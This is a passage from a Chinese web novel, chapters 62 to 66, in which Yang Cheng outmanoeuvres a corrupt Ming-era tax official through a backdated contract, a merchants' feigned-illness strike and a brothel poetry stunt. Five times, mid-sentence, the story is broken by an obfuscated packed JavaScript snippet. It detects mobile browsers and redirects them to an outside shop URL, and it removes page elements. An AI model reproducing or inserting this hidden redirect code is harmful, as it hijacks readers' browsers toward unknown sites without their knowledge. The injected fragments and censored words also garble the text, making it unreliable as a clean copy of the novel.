可那糖霜却不是杨草卖给刘通的,既然没有买卖,自然也就没法交税了。” 秦强怒道:“你唬小孩儿呢?不是杨草卖给刘通的,是谁卖的?不管谁卖的,都要交税!” 杨成摇头道:“我说不是杨草卖给刘通的,不是说糖霜不是杨草的。 当时糖霜连工坊都没有呢,只有一个小作坊,做出来的东西也不知道能不能卖出去。 大人你是了解我们的,我们都是乡下泥腿子,对城里两眼一抹黑,根本不会经商。 所以我们就进城打听门路,结果就打听到了刘通身上。大人有所不知,这厮是个奸商。” 刘通低头,对自己是个奸商一事表示惭愧,同时也是掩饰脸上难忍的笑意。 秦强一时还没盖特到杨成的点,狐疑道:“奸商又如何?” 杨成叹息道:“他见我们几个毛都没长齐,便欺我等无知,说什么做生意的规矩,没有一上来就卖的。 总要把东西白送一些给人试用,人家用得好了,满意了,自然后面就会大量购买了。 我等年少无知,被他哄骗,便依他之意,送给了他一些糖霜,让他找客人试用。 到后来我们才知道,这厮竟然拿着我们白送给他的样品,卖给桂花斋,还赚了不少钱!” 杨成连连摇头,痛心疾首:“所以说,无商不奸啊。我们这种老实人,只配干活,钱都是别人赚了。” 秦强瞪着杨成,一时间觉得,杨成无耻的程度,好像隐隐超过了自己。 第六十二章 白嫖 秦强深吸一口气:“把契约拿来看看!” 刘通赶紧掏出契约,递给秦强,秦强拿着仔细看,却看不出什么问题来。 不到半年的时间,纸墨经过做旧,是很难分辨的。如果是几年的时间,就不这么容易了。 “这墨迹好像有点新鲜啊!” “最近都是南风天,湿气太大,返潮了嘛。” 杨成毫不慌张,因为他知道,这不是什么命案证据,也轮不到刑部和锦衣卫来鉴定真伪。 秦强肯定是不会把这事儿闹得太大的,他的明线任务是催派加税,查过往税款,不是他的差使。 秦强很显然是带着收拾杨成的暗线任务来的,但他身上也有枷锁,那就是得合情合理的对付杨成。 为了一份过去的契约,大动干戈惊动朝廷,最后还未必有胜算,这种傻事秦强不会干的。 秦强把契约扔回给刘通:“真的也好,假的也罢,你们心里有数儿。 已经逃出去的糖霜,政令未达,本官也无话可说,但从今天起,你一粒儿糖霜也运不出去了!” 杨成耸耸肩:“无所谓,我们都是良善百姓,本来刘通也不是为了**,只是为了买卖方便。 既然官府下令不允许运出去了,那我们就在本地买卖好了,不会少了是官府一文税钱的。” 说完,杨成指了指刘通和马车:“大人,既然刘通不是**,人和货是不是可以走了?” 秦强再次深吸一口气,摆了摆手,吴礼怒视杨成,无奈地让兵丁散开。 刘通的马车在前,杨家湾的牛车在后,慢慢悠悠地往杨家湾方向而去,比来时从容多了。 吴礼心有不甘:“秦大人,咱们就这么算了?那小子太嚣张了!” 秦强冷笑道:“吴守备,你知不知道,杨成最大的依仗是什么?名望。 可名望这东西,是柄双刃剑。百姓越是拥戴你,就越是指望你。 整个海盐都知道,杨成发了财。朝廷加税,百姓无法承受,就得指望杨成想办法。 当百姓发现你指望不上了,那种拥戴就会变成怨恨,到那时,他就成了阴沟里的老鼠。 到时你对付杨成,不过是踩死一只阴沟里的老鼠,何必在乎这一时之气呢?” 被整个海盐指望的杨成,此时在干一件所有人都想不到的事儿。 他此时正坐在刘子业的对面,微笑看着他,看得刘子业全身发毛,紧紧地夹着两条腿。 自从搬到豪宅后,刘通娘子实在忍不了全家都在享福,只有儿子在乡下受苦的事实。 刘通娘子除了扣门儿和溺爱儿子之外,也没啥别的问题,跟刘通也是同甘共苦许多年了。 而且现在不用打工了,养白了,用得起胭脂水粉了,颜值也跟着上升了一个档次。 只要刘通一回家,就得面对眼泪汪汪的娘子,也着实难以抗拒,刘通也心疼儿子,也就就坡下驴了。 不过刘通规定,现在不是小门小户了,秀儿所在的后院儿,严禁儿子涉足,否则腿打折。 原本刘子业对老爹害怕杨成还很不屑,但自从白鹿山跑路之后,刘子业就彻底惊呆了。 工人怕监工不怕老板,学生怕老师不怕校长,刁民怕黑道不怕官府,这都属于分不清大小王。 在刘子业的眼里,白飞金和郭永就是大佬,至于白鹿山和郭纲那都属于教父级别的。 现在白鹿山被杨成干了,郭纲屁都没敢放一个,刘子业终于知道害怕了。 见杨成看着自己不怀好意的笑,刘子业以为杨成是误会了什么,抢先开口解释。 “杨……大哥,过去是小弟有眼不识泰山。自从被家父勒令归乡反省,已经痛改前非。 就是回到城里,小弟也一直是谨小慎微,闭门读书,从不敢惹是生非。 至于后院儿,小弟连脚指头都没伸进去过,我都快忘了秀儿长什么模样了!” 虽然自己比杨成大几岁,但遇到强者叫大哥,是刘子业的生存智慧。 杨成笑道:“回城有几天了,想不想去青楼逛逛?” 刘子业一愣,立刻正色道:“大哥玩笑了,小弟已经痛改前非……” 杨成循循善诱:“不是咱们县城的醉花楼,而是府城的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390282|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落雁阁,想去吗?” 刘子业夹紧的两条腿,渐渐被推开,他的眼里放着光,但仍保持警惕。 “大哥何必挖苦小弟?如今家中财权尽在我爹和秀儿之手,我也没钱啊……” 杨成笑了笑,从怀里掏出一锭金子,在手上抛了抛,刘子业的视线跟着上下跳动。 “这锭金子足够让你进落雁阁了,但你不能花,而是要完完整整的给我带回来。” “白嫖?”刘子业惊呆了。“那会被打断腿的!” 杨成小声对他说了几句,刘子业脸色郑重起来,但仍很费解。 “杨大哥,你如此看重小弟,小弟自当尽力而为。可大哥为何会选我呢?” 杨成肯定地说:“你我初次相见时的嚣张模样,我一直记在心里。 你就记住,如今你是豪商之子。我还是喜欢你嚣张的样子,你恢复恢复就好。” 老车赶车带着刘子业离开了,刘通和娘子都忧心忡忡,最后刘通娘子终是忍不住。 “杨公子,我相公把儿子关在家里,不给钱财,就是担心他像以前一样不长进。 如今你给他金子,还让他去府城逛青楼,这不是让他越陷越深吗?” 杨成淡然道:“如果关起来就能学好,这世上就没有坏人了,他不小了,再关就废了。 要想抵制诱惑,不能只靠远离,而是要用更大的诱惑来取代。 我和刘通都需要帮手,让他试一下,能行是他的造化,不行就再关起来呗。” 刘通连连点头:“杨兄弟说得对,不过犬子好色,还有什么能比青楼对他的诱惑更大呢?” 杨成笃定地笑道:“有的。从第一次见到令郎,我就知道他内心深处最渴望的是什么。” 海盐离府城并不算远,老车快马加鞭,超速行驶,两天就到了。 杨牛小厮打扮,扶着换了一身新衣服的刘子业,在落雁阁前下了车,门口的妈妈立刻眼前一亮。 这位公子虽然算不上英俊,但衣着华贵,趾高气扬,一看就是个有钱的棒槌啊! “哎呦,大爷,快进来玩啊!” 第六十三章 装X之王 刘子业抖抖长衫,捏了捏腰里的金子,那上面布满了牙印,确定是真金。 防人之心不可无,万一杨成余怒未消,再用假金子坑自己一次怎么办? 人不能两次跌倒在同一个坑里,哪怕这个坑特别润也不行! “庸脂俗粉就不要叫出来了,本公子是来见才貌双全的女子的。” 妈妈一听,这位品味还挺高,才貌双全意味着什么,花魁啊! 开饭店的不怕大肚汉,开青楼的不怕装逼犯。不怕你有要求,就怕你没实力。 妈妈的眼睛眯成了一条线,赶紧让人准备雅间儿,刘子业连连摆手。 “我没有那么多时间,人都叫出来,我若选中了,这块金子就是你的。选不中,给你个茶钱。” 妈妈看着那块金子,眼睛也在发光,虽是府城,但能拿出这块金子来找姑娘的,也是凤**麟角啊! 两个宝石级花魁,五个金边级当红,十几个银边级女神,以及剩下的二十几个穷鬼菩萨。 加上闲杂人等,楼上楼下,满坑满谷的人,让刘子业十分欣慰。 妈妈倾其所有,毫无保留,一时间莺莺燕燕,珠环翠绕,连杨牛都看迷了眼。 人生第一次作为青楼主角儿的刘子业,却按捺住了内心的骚动,显得十分淡定。 无他,这种装X的感觉实在是太爽了,相比起来,刘子业觉得真X也就那么回事儿。 此时此刻,他犹如站在巴黎时装节的T台上,所有女人的目光都欻欻欻欻欻欻射向他。 如果目光有温度,刘子业一定已经像罗马军队的战船一样被阿基米德烧着了。 在这种高潮的气氛下,刘子业从怀中掏出了带着他体温的宝贝团扇。 “各位小姐,大家好。” 当时在青楼里叫女人小姐,是专属于读书人的礼貌,但刘子业没想到几百年后人们仍然这么叫。 “在下刘子业,是个读书人。在一个地方,我认识了一位姑娘。 她有丁香一样的颜色,她有丁香一样的芬芳,当时我就决心,一定要娶她。 可虽然我颇有家资,她却并非浅薄之人。她告诉我,她自负才貌双全,一定要嫁个才子。 所以她给了我这把团扇,说这种扇子叫诗扇。中间以主梁隔开,就是为了写上下句的。 她哭着对我说,只有我对上这句诗,而且比她写得好,她才能考虑嫁给我,否则宁愿终生不嫁。 惭愧得很,在下才疏学浅,绞尽脑汁对了半年也没对出来让她满意的下句。 同窗学友中虽有秀才举人,胸藏万卷,学富五车,但也都束手无策。 后来一个前辈告诉我,青楼之中,自有才女无数。且同为女子,更懂女子之心。 从此,我就寻遍青楼楚馆,寻找才貌双全的女子,只为一解愁肠。” 一个长相平平的穷鬼菩萨很不满:“凭什么才貌双全,你是解诗,又不是睡觉,还看长相吗?” 刘子业彬彬有礼:“这位小姐,并非在下以色观人,实在是那位前辈再三叮嘱。 诗词一道,讲究灵性,若无天生灵气,便是苦读一辈子,也做不出好诗来。 而具天生灵气者,必然秀外慧中。虽有个例,但找才貌双全的总是更容易成功。” 人都有好奇心,何况能在青楼走红,光靠长相确实不行,肚子里多少都要有点墨水儿。 听刘子业说得如此传奇,女子们早已把目光投向了那把团扇,看着上面绣的诗句。 “人生若只如初见。” 这句话就像有魔力一般,瞬间让原本嬉笑的女子们变得安静下来,空气中充满了惆怅的气味儿。 这是个什么样的女子,在什么样的心境下写下的话啊,怎么让人这么的难过。 哪个女子,没有遇到过曾让自己心动之人?哪个女子没有感慨过岁月无情? 人生若只如初见,多少懵懂,多少感怀,多少心酸,多少无奈,尽在其中。 许久之后,两个花魁中更丰满的那个缓步下楼,伸出春葱般的手指,接过扇子。 “人生若只如初见,何须携手共百年?” 以刘子业的水平,他觉得很不错了,一见倾心,何须百年,只求曾经拥有,不求天长地久,很好。 但他觉得没用,因为杨成告诉过他,不管你觉得多好,一律都不能说好。 所以刘子业只能皱眉摇头:“这位小姐的下句,意思虽有,但意境不够。” 丰满的花魁并未生气,只是叹息道:“我亦自知,这一句如狗尾续貂,实难与上一句相比。” 纤细些的花魁也走下楼来,拿过扇子端详,片刻后,竟然落下几滴珠泪。 “人生若只如初见,青梅竹马谁家院。” 这个好啊!刘子业差点拍案叫绝,但好在他及时想起了杨成的嘱咐,硬生生刹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390283|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了车。 然后依旧皱眉摇头:“这位小姐的文采非凡,但奈何意境还是不够。” 两个花魁都折戟了,剩下的金边、银边们就都不敢出来献丑了。 妈妈忽然轻叹一声:“人生若只如初见,花落难免离人怨。” 众女子大惊,想不到一向嬉笑怒骂的妈妈也有如此伤心情境,这词却是极妙。 如果说丰满花魁说的是一见钟情足矣,纤细花魁说的便是青梅竹马难忘。 而妈妈说的却是两人最美好的一刻,只停留在初见之时,春去花落红颜老,就难免情人离去,只留怨恨了。 这一句四十年的功力,连逼王护体的刘子业都差点翻车,险些共情。 但他依旧咬着牙,强忍着对妈妈的欣赏,皱眉摇头,表示遗憾。 “妈妈这句话当真是见功力的,但我是要讨女孩欢心,不是要告诉她我只爱如花美眷,不爱残花败柳啊!” 这时一个摇着折扇的秀才挺身而出,左右看了看,颇有睥睨天下,舍我其谁的架势。 “此女可谓才女,在下不才,愿对一句:人生若只如初见,再见如只若生人。” 天啊,这**就是秀才的文采啊!果然比我这连童生都没考上的牛逼多了! 人生若只如初见,再见如只若生人。只把初见做再见,人生若只如,如只若生人。 刘子业忍着心里的呐喊与彷徨,努力皱起眉毛,遗憾摇头。 “先生词句,工整巧妙,意境深远,奈何小弟碰壁多次,故而仍觉尚不够火候。” 儒林称谓,秀才可称老友,童生可称小友,但刘子业连童生都不是,只能尊称秀才一声先生。 那秀才有些不满:“哦?那女子竟如此挑剔猖狂?我倒要看看,谁能写出更好的来!” 刘子业冲众人团团一揖:“各位小姐,各位先生,今日看来难有所获了。 在下还要再去别处寻诗,这把扇子就留在此处,若有人写出好诗句来,我自当再来讨教。” 说完扔给妈妈一锭银子,由杨牛扶着上车,绝尘而去。 青楼自来是文人雅士,三教九流**之地,也是闲的蛋疼的有钱人附庸风雅的消遣之所。 所以第二天,痴情书生与绝色才女不得不说的故事,就已经传遍整个府城。 而刘子业此时已经马不停蹄地跑到了下一个青楼,继续着自己优雅的装逼表演了。 第六十四章 ** 桂花斋关门歇业了。 这像是一个号召,紧接着,布铺、胭脂铺、首饰铺等等,都跟着歇业了。 除了跟官府关系密切的粮店还在开张,等着低价收购百姓的粮食,除此之外就是醉花楼了。 醉花楼不歇业的原因,是她们的税是定额税,开不开门都得交。 没人能知道男人在被窝里给女人塞了多少钱,所以只能按姑娘的人头来收税,反正一个萝卜一个坑。 一连三天,没有一辆商车进城,城门口的税吏闲得蛋疼,蹲在地上拿石头子下X棋。 请注意,这个X不是脏话,而是那种棋不知具体名称,只知道中间有个大X。 城中百姓情绪倒是平稳,因为粮店没关,乡下进城来卖鸡蛋和青菜的也没停,反正这些也不交税。 但郭纲的情绪就很不稳定了,他像热锅上的蚂蚁一样,顺时针转三圈儿,逆时针再转三圈儿。 “麻烦了,这下麻烦了!这分明是在向朝廷**啊!事情闹大了啊!” 秦强喝着茶,慢悠悠地说道:“行动如此齐整,背后肯定有人串联。 商人都是要吃饭的,能这么听话,这种号召力,只怕非杨成莫属。” 郭纲依旧转个不停:“这我自然知道,可没证据啊,自从陈情之后,杨成就没进过城! 就是刘通和桂花斋的人,也老老实实地在家呆着,并未四处乱窜过。” 秦强眼中闪过一丝狠厉之色:“找个借口,抓一个商人来,让他承认是杨成所为。 串联商户,抵抗商税,联合**,扰乱民生,这罪名,足够打他八十棍子!” 秦强是真的起了杀心,要知道,朝廷征的税,加的那五成是一定要上缴国库的。 虽然户部加了两成损耗,再加上半银半粮,淋斛踢斗等办法,能另外抠出两成,可那不够分的。 靠山自己定的指标,是朝廷加征五成,自己至少还要能拿回去五成,才能够分。 损耗是确实存在的,至少也要有一成,所以自己还有两成的亏空要想办法补上。 这两成亏空,原本全指望加征的商税,因为商税这东西,交易频繁,积少成多。 明初时沿用了宋代的发票雏形,叫做“输估”,但这玩意主要用于大宗交易。 像日常的买卖店铺,主要靠税吏收税,当时朝廷也没有金税四期,想严格核查是很难的。 在没有白鹿山这样的大金主之前,牛师爷就曾靠搞一点商税来维持郭纲家的基本体面。 所以这些商铺关门歇业,对朝廷税赋影响不大,但对秦强的打击却是致命的。 税吏总不能逼着店铺开门,然后再收税吧,逼急了人家说我病了开不了门,你有什么办法? 郭纲被震得停住了脚步:“你是说,硬栽赃?可是本地商户,除了跑路的白鹿山,谁肯诬陷杨成啊!” 秦强冷笑道:“商人能有什么好人,好人当得了商人吗?关键时刻,是自己的命重要,还是名声重要?” 郭纲犹豫一下:“可是关门歇业又不犯法,能有什么借口抓人呢?本官一向公正廉明……” 秦强不耐烦地摆摆手:“郭知县,你是不是演戏太久了,把自己都给骗了? 刘通当上糖霜总商后,原来的小铺子交给了乡下亲戚打理。 你把他亲戚抓来,就说上次**案发现了新证据。一顿棍棒,不怕他不招!” 郭纲看了一眼门口的牛师爷,牛师爷微微摇头,伸出一根手指勾了两下。 郭纲心里明白,这是在告诉自己,刘通现在也是自己的金主之一,可他也没办法。 秦强不是白鹿山,白鹿山只能对自己耍黑道手段,秦强却真的能动用上层力量。 “牛师爷,你让捕快把刘通铺子的掌柜抓来,记住,要悄悄的!” 说“悄悄”的时候,郭纲加了逻辑重音,牛师爷眼珠转了一下,点头告退。 县城主街上,所有店铺都关门上板儿,只有几份进城卖菜卖鸡蛋的小摊儿,显得格外萧条。 牛师爷在远处冲捕头使了个眼色,捕头走到上了板的杂货铺门前,轻轻敲门,声音温柔得像哄孩子的母亲。 “掌柜的?在家吗?开开门啊,我是陈捕头。” “掌柜的,开门吧,别躲在屋里不出声,我知道你在家呢。” “妈的,给脸不要脸是吧,等老子冲进去,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394267|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就知道怕了!” 捕头后退三步,一个助跑,咣当一脚,就把门板踹飞了,惊得路上行人无不侧目。 几个捕快冲进去,不一会儿就从后院把刘通的堂弟刘度揪了出来。 刘度拼命挣扎,大喊冤枉:“你们干什么?我犯了什么罪?为什么要抓我?” 一个在路边摆摊营业的花子,见此情景,收起自己的碗,撒腿就跑。 片刻后,刘度被抓进了县衙,郭纲正要升堂,被秦强一把拦住了。 “你疯了?这种**事儿,怎么能公开呢?在后堂审!” 郭纲连连点头:“秦大人提醒的是,来人,把家具都挪开,免得动刑时打碎了!” 郭纲上来就问:“刘度,你关门歇业,是何原因?可是杨成串联的吗?” 刘度连连喊冤:“县尊大人,并无人串联,实在是小人身体不适,所以才关门的。” 秦强冷笑道:“哦?这么巧?问一个病了,问一个病了,这海盐城是染了时疫了吗?” 刘度咬紧牙关:“小人不知别人家事,但小人确实是身体不适,头疼,肚子疼!” 秦强看了郭纲一眼,郭纲怒道:“你这刁民,如此不老实,来人啊,给我打!” 两个衙役对视一眼,把刘度按倒在地,抡棍就打,刘度顿时皮开肉绽,惨叫连连。 “别打了,别打了,我说,我说,是有人让我关门的,但不是杨成啊!” 秦强大喜,只要揪住线头,就不愁扒不光美女的毛衣,反正追到最后肯定是杨成没跑儿! “是谁串联的,说!” 刘度哀嚎道:“是一个要饭的花子,平日来讨饭,十分强横,我都是花几个钱破财免灾。 结果前几日来讨钱,我说我都快吃不上饭了,哪有钱施舍给他?他便要打要杀,要死要活的。 我被他闹得没办法,干脆就关门了,反正加税后东西太贵,也没人买,不如歇几天清静清静。” 秦强火了:“混账,一派胡言!来人,给我继续打!” 话音未落,大堂外传来一片呼喊声。 “冤枉啊,我堂弟冤枉啊!” “县尊大人,草民等要求听审!” 第六十五章 肾虚 郭纲松了口气,为难地看着秦强:“秦大人,朝廷有令,此等案件,非谋逆,非风月,非五伦,百姓是有权要求听审的。” 秦强脸色铁青:“百姓何以来得如此之快?不是说悄悄地抓来吗?” 牛师爷满脸惭愧:“秦大人,这厮十分刁顽,被抓之时拼命挣扎,大声呼喊,我们已经尽力了。” 秦强默然,随着众人走到前堂,刘度也被衙役们架到堂前。 刘通见到堂弟屁股鲜血淋漓,十分心疼,跪地呼号。 “县尊大人,我这堂弟看个小铺,是犯了什么王法,乃至于被杖责?” 郭纲看了秦强一眼:“因之前京福斋糖霜**一案,本官怀疑是铺中有毒物污染,故而询问。” 刘通伸出一根手指,看着郭纲:“县尊大人,**案当时已经结案,我这边可是有理的呀!” 郭纲一拍桌子,用袍袖挡住视线,手指指向秦强的方向。 “你有理又如何?**案已问完,并无问题,但刘度承认他关门歇业是受人怂恿,这也是罪!” 刘通一愣:“这……这不能吧,他跟我说他身子不适,所以要歇业几天的啊。” 郭纲一拍惊堂木:“刘度,你再说一遍,是谁让你关门歇业的?” 刘度现在回到大堂,众目睽睽,不再是内堂里的待宰羔羊了,胆子也大了一些。 之前在内堂他确实是害怕了,他毕竟只是个乡下人,刚进城没几天,哪见过这阵势。 好在刘通之前就告诉过他,如果官府问,就说身体不适,如果挨打,就说是花子干的。 “回县尊老爷,是一个花子勒索我,我不给钱,他便闹,我只能关门求个清净。” 郭纲看向秦强,意思是你看怎么办。秦强被气笑了,他的目光扫向人群,看着那一张张脸。 那些脸上带着恭敬的表情,可目光中却都带着嘲讽,就像在问他,你知道真相,可你能怎么样? “来人,把所有店铺掌柜的都请来,本官要代表朝廷,问问他们!” 郭纲一惊,店铺关门歇业,是人家的自由,抓刘度用的是老案子的借口,其他店铺可没有这个借口。 但眼看秦强已经红了眼睛,郭纲也不敢违拗,自己派捕快去办,还有转圜余地,万一秦强动用守备被兵丁,事儿就更大了。 “牛师爷,你和捕头带队,把各家店铺掌柜的都请来,注意是请来,不是抓来!” 各家店铺掌柜的似乎早有准备,过了一会儿,都很平静地跟着捕快们来了。 堂下站满了掌柜的,都态度恭谨,彼此眉来眼去,会心点头。 郭纲为了避嫌,干脆不问了,直接把话语权交给了秦强。 “诸位掌柜财东,在朝廷加税之时,你们不约而同关门歇业,可是心存怨望,对抗朝廷吗?” 这沉甸甸的大帽子,让商人们略显不安,目光都看向刘通和王德福。 王德福拱手道:“小人不敢,小人身体不适,故而关门歇业,并未与他人商议。” 其余商人有了主心骨,也纷纷表示,就是身体不适,没有别的原因。 秦强笑了笑:“众人一同身体不适,这倒是奇了。来人,把县城最好的郎中请来,给各位看病!” 片刻后,回春堂的朱仲被带来,他挨个给众掌柜的诊脉,摇头晃脑,皱眉咋舌。 秦强死死地盯着朱仲:“你最好实话实说,真病假不了,假病真不了。 你若敢信口开河,本官就去府城请来名医,若与你诊治的不一样,本官以伪证之罪让你坐牢!” 朱仲吓得一哆嗦,赶紧磕头:“小人不敢,小人诊脉已有结果,但医道讲究望闻问切,还请大人恩准小人问话。” 见朱仲还要望闻问切,确实是一副认真看病的架势,秦强松了口气,觉得自己的施压起了作用。 “你尽管问,若有人敢不如实回答,本官自会与你做主!若是你识破众人装病,本官有赏!” 朱仲认真地询问王德福:“王掌柜,请问你最近可是头晕目眩,口干舌燥,双腿无力,夜眠盗汗?” 王德福惊讶道:“正是如此,朱先生医道如神啊!” 朱仲点点头,又转头询问胭脂铺的掌柜:“李掌柜,请问你可是也头晕目眩,口干舌燥,双腿无力,夜眠盗汗?” 李掌柜惊讶道:“正是如此,朱先生果然神医也,可有办法医治?” 朱仲不答,又问第三个人,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394268|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一样的症状,还是一样的回答,医道如神,可能医治? 当问到第五个时,秦强终于忍不住了,他打断了朱仲。 “何以都是一样的症状?他们是真的身体不适吗?这是什么病症?” 朱仲叹息道:“大人有所不知,各位掌柜所得乃是肾虚之症,且阴阳双虚。” 秦强隐隐觉得不太对劲:“此病症从何而来,为何众人同时有此病症?” 朱仲笑道:“此乃富贵病。人常说饱暖思淫欲,各位掌柜颇有家资,娇妻美妾也不少。 想来近几日生意清淡,无所事事,难免房事过度,加上用了些助兴之药,便更容易如此。” 王德福恍然大悟:“难怪难怪,我说你卖给我的药,怎么越来越不管用了呢?” 众掌柜也都一副恍然大悟的模样,连连点头叹息,同时问朱仲还有攒劲的药没有。 秦强大怒,知道自己被这帮家伙耍了,他双眼冒火,盯着朱仲。 “你这般胡言乱语,就不怕本官治罪与你吗?” 朱仲扑通一声跪倒,连连磕头,声音颤抖,委屈至极。 “大人此时可请名医来验看,若小人学艺不精,诊断不准,小人从此不再给人看病! 但大人需尽快,因为这些人只要暂停房事,过个十天半个月的,也就养回来了……” 秦强深深地吸了一口气,阴冷地一笑:“看来你们是铁了心和朝廷做对了。 那就别怪本官无情了!来人,每人先打二十大板,再问其他!” 堂下百姓顿时哗然,郭纲急得满头大汗,低声劝阻道。 “秦大人,这只怕不妥吧?这些商人并无罪行,动辄杖责,这是要激起民变的呀。” 秦强怒道:“郭大人,你怕是忘了,若税收不齐,你也难逃罪责!” 郭纲心说我负责收的是粮银各半的田地税,商税收多少,这次都是你要拿走的,跟我有何关系? 但他当然是不敢挑明了说的,只是一味强调不能蛮干,还是要从长计议。 眼见衙役们看着郭纲,而郭纲又不肯下令打板子,秦强真急了。 “你怕担责,我不用你的人,事急从权,本官这就请吴守备来行军令!” 第六十六章 底牌 城中闹出这么大的动静来,吴礼早已经带着几个兵丁在县衙外观察风向了。 听到秦强的怒吼声,吴礼快步赶到,分开众人,让自己的兵丁进入衙门。 “吴守备,这些商户串通一气,关门闭户,逃避商税,对抗朝廷。 郭知县怕担责,本官要借你兵丁一用,你怎么说?” 吴礼也没想到局势会严重到这个程度,武将干预地方政务本是大忌。 但秦强是文官,品级又高,自己也算是听命办事儿,天塌下来有秦强顶着。 “既是朝廷大事,下官愿听差遣。来人,将商户们按倒,杖责!” “慢着!”一群人匆匆赶到,为首的正是杨成。 杨成看了一眼被按在地上,撅着屁股的商户们,也是深吸一口气。 自己知道这一招对秦强有效,可也没想到有效到这个地步,逼得秦强要拼命了。 “大人,商户们犯了什么罪,大人要杖责他们?” 秦强狞笑道:“杨成,你一个小小粮长,本官未曾传召,你拿什么身份上堂讲话?” 杨成淡然道:“回大人,商户们被抓,他们的家眷凑钱请我来当讼师的。 一共得银二两,按大人新订下的商税,小人该缴纳八钱银子,请牛师爷拿输估来收。” 大明确实有讼师可上堂的规矩,秦强便不再纠缠杨成的身份。事实上,他就是在等杨成。 “杨成,你既为众商户讼师,便该知道,联合**,就是对抗朝廷,罪大恶极!” 杨成摇头道:“他们已经说过身体不适,回春堂也现场诊治,确认无误,怎能说是联合**?” 秦强得意的一笑:“不错,这一手玩得漂亮,不过你大概忘了,这儿还有一个呢。 商人刘度,承认他关门不是因为身体不适,而是被人逼迫的!” 杨成看向刘度,刘度羞愧地低头,下意识地扭了扭鲜血淋漓的屁股,希望杨成能明白自己是逼不得已。 杨成淡然道:“既然有人逼迫他关门,大人就该找那人算账,那人总不会是我吧?” 秦强冷笑道:“他说是一个叫花子,不过这没关系。海盐城里的叫花子都归团头管。 只要是在这城中要饭的,刘度绝没有不认识的道理,团头也不敢隐瞒。 等我找到此人,着实问着他,你猜他会不会把某人供出来呢?” 杨成摇摇头:“不知道,大人说了半天,那人可找到了吗?” 秦强笑了笑:“人跑不了的,不急。吴守备,派人去找本地团头,让他交人出来。 若是人跑了,就把团头抓来。他看不住下面的人,自然也是有罪的!” 吴守备带人去了,秦强斜眼看着杨成,希望能在杨成的脸上看到惊慌。 但杨成只是走到刘度身边,查看了一下刘度的屁股,然后拍了拍刘度的肩膀,又看了两个衙役一眼。 这个叫花子的借口,是他交给所有商户的一张保命底牌,只是不到危急关头,不该这么早用罢了。 可杨成也清楚,这些商户天生惧怕官府,大家都在时还有群胆,一旦落单了,就会胆怯。 而像秦强这样洞悉人性的人,一旦被逼急了,肯定会搞突然袭击,单独密审。 身体不适这话,秦强是肯定不信的,但若说出一个人来,秦强就会觉得有所收获,不再死咬着不放。 因为只要有一根线头,秦强能到抽丝剥茧,一路咬到杨成的头上。 所以秦强有了这样的收获,大概率会先把自己逼出来,然后当着自己的面,逼迫线头往自己身上缠。 事实上,事情发展到现在,确实都是按着这样的轨迹在发展的。 秦强很有信心,因为他知道,什么叫屈打成招。 审案这种事,只要手足够黑,绝对大力出奇迹,因为人的忍耐力都是有限的。 明明不是自己干的,都能被迫承认,何况只是让他说出真相,又不是凭空诬陷? 没错,秦强百分之百地肯定,这事儿的幕后黑手就是杨成,自己根本用不着冤枉他! 百姓一阵骚动,吴礼带着两个人回来了,一个是拿着烟袋的孙二爷,另一个是个满脸伤痕,眼冒凶光的中年花子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401354|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙二爷上堂行礼,指着那个中年花子说道:“大人,吴将军和我说了缘由。 